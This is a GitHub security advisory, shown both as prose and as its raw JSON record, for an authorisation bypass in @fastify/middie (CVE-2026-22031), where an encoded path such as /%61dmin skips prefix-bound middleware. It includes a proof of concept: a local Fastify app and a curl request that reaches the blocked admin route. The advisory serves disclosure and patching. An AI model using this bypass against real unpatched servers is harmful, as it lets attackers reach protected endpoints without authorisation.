GHSA-CXRG-G7R8-W69P

Vulnerability from github – Published: 2026-01-20 16:34 – Updated: 2026-01-20 16:34
VLAI?
Summary
Fastify Middie Middleware Path Bypass
Details

Summary

A security vulnerability exists in @fastify/middie where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., /%61dmin instead of /admin). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.

Details

The vulnerability is caused by how middie matches requests against registered middleware paths.

  1. Regex Generation: When fastify.use('/admin', ...) is called, middie uses path-to-regexp to generate a regular expression for the path /admin.
  2. Request Matching: For every request, middie executes this regular expression against req.url (or req.originalUrl).
  3. The Flaw: req.url in Fastify contains the raw, undecoded path string.
    • The generated regex expects a decoded path (e.g., /admin).
    • If a request is sent to /%61dmin, the regex comparison fails (/^\/admin/ does not match /%61dmin).
    • middie assumes the middleware does not apply and calls next().
  4. Route Execution: The request proceeds to Fastify's internal router, which performs URL decoding. It correctly identifies /%61dmin as /admin and executes the corresponding route handler.

Incriminated Source Code: In the provided middie source:

// ... inside Holder function
if (regexp) {
  const result = regexp.exec(url) // <--- 'url' is undecoded.
  if (result) {
    // ... executes middleware ...
  } else {
    that.done() // <--- Middleware skipped on mismatch
  }
}

PoC

Step 1: Run the following Fastify application (save as app.js):

const fastify = require('fastify')({ logger: true });

async function start() {
  // Register middie for Express-style middleware support
  await fastify.register(require('@fastify/middie'));

  // Middleware to block /admin route
  fastify.use('/admin', (req, res, next) => {
    res.statusCode = 403;
    res.end('Forbidden: Access to /admin is blocked');
  });

  // Sample routes
  fastify.get('/', async (request, reply) => {
    return { message: 'Welcome to the homepage' };
  });

  fastify.get('/admin', async (request, reply) => {
    return { message: 'Admin panel' };
  });

  // Start server
  try {
    await fastify.listen({ port: 3008 });
  } catch (err) {
    fastify.log.error(err);
    process.exit(1);
  }
}

start();

Step 2: Execute the attack. 1. Normal Request (Blocked): bash curl http://localhost:3008/admin # Output: Forbidden: Access to /admin is blocked 2. Bypass Request (Successful): bash curl http://localhost:3008/%61dmin # Output: {"message":"Admin panel"}

Impact

  • Type: Authentication/Authorization Bypass.
  • Affected Components: Applications using @fastify/middie to apply security controls (auth, rate limiting, IP filtering) to specific route prefixes.
  • Severity: High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.
Severity ?
8.4 (High)
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L
Show details on source website
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{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 9.0.3"
      },
      "package": {
        "ecosystem": "npm",
        "name": "@fastify/middie"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.1.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-22031"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-177"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-01-20T16:34:50Z",
    "nvd_published_at": "2026-01-19T16:15:54Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA security vulnerability exists in `@fastify/middie` where middleware registered with a specific path prefix can be bypassed using URL-encoded characters (e.g., `/%61dmin` instead of `/admin`). While the middleware engine fails to match the encoded path and skips execution, the underlying Fastify router correctly decodes the path and matches the route handler, allowing attackers to access protected endpoints without the middleware constraints.\n\n### Details\nThe vulnerability is caused by how `middie` matches requests against registered middleware paths.\n\n1.  **Regex Generation**: When [fastify.use(\u0027/admin\u0027, ...)](cci:1://file:///Users/harshjaiswal/work/research/nest/packages/platform-fastify/adapters/fastify-adapter.ts:733:2-741:3) is called, `middie` uses `path-to-regexp` to generate a regular expression for the path `/admin`.\n2.  **Request Matching**: For every request, `middie` executes this regular expression against `req.url` (or `req.originalUrl`).\n3.  **The Flaw**: `req.url` in Fastify contains the **raw, undecoded** path string.\n    *   The generated regex expects a decoded path (e.g., `/admin`).\n    *   If a request is sent to `/%61dmin`, the regex comparison fails (`/^\\/admin/` does not match `/%61dmin`).\n    *   `middie` assumes the middleware does not apply and calls `next()`.\n4.  **Route Execution**: The request proceeds to Fastify\u0027s internal router, which performs URL decoding. It correctly identifies `/%61dmin` as `/admin` and executes the corresponding route handler.\n\n**Incriminated Source Code:**\nIn the provided `middie` source:\n```javascript\n// ... inside Holder function\nif (regexp) {\n  const result = regexp.exec(url) // \u003c--- \u0027url\u0027 is undecoded.\n  if (result) {\n    // ... executes middleware ...\n  } else {\n    that.done() // \u003c--- Middleware skipped on mismatch\n  }\n}\n```\n\n### PoC\n**Step 1:** Run the following Fastify application (save as `app.js`):\n```javascript\nconst fastify = require(\u0027fastify\u0027)({ logger: true });\n\nasync function start() {\n  // Register middie for Express-style middleware support\n  await fastify.register(require(\u0027@fastify/middie\u0027));\n\n  // Middleware to block /admin route\n  fastify.use(\u0027/admin\u0027, (req, res, next) =\u003e {\n    res.statusCode = 403;\n    res.end(\u0027Forbidden: Access to /admin is blocked\u0027);\n  });\n\n  // Sample routes\n  fastify.get(\u0027/\u0027, async (request, reply) =\u003e {\n    return { message: \u0027Welcome to the homepage\u0027 };\n  });\n\n  fastify.get(\u0027/admin\u0027, async (request, reply) =\u003e {\n    return { message: \u0027Admin panel\u0027 };\n  });\n\n  // Start server\n  try {\n    await fastify.listen({ port: 3008 });\n  } catch (err) {\n    fastify.log.error(err);\n    process.exit(1);\n  }\n}\n\nstart();\n```\n\n**Step 2:** Execute the attack.\n1.  **Normal Request (Blocked):**\n    ```bash\n    curl http://localhost:3008/admin\n    # Output: Forbidden: Access to /admin is blocked\n    ```\n2.  **Bypass Request (Successful):**\n    ```bash\n    curl http://localhost:3008/%61dmin\n    # Output: {\"message\":\"Admin panel\"}\n    ```\n\n### Impact\n*   **Type:** Authentication/Authorization Bypass.\n*   **Affected Components:** Applications using `@fastify/middie` to apply security controls (auth, rate limiting, IP filtering) to specific route prefixes.\n*   **Severity:** High. Attackers can trivially bypass critical security middleware to access protected administrative or sensitive endpoints.",
  "id": "GHSA-cxrg-g7r8-w69p",
  "modified": "2026-01-20T16:34:50Z",
  "published": "2026-01-20T16:34:50Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/fastify/middie/security/advisories/GHSA-cxrg-g7r8-w69p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22031"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/middie/pull/245"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/middie/commit/d44cd56eb724490babf7b452fdbbdd37ea2effba"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fastify/middie"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fastify/middie/releases/tag/v9.1.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Fastify Middie Middleware Path Bypass"
}


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  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



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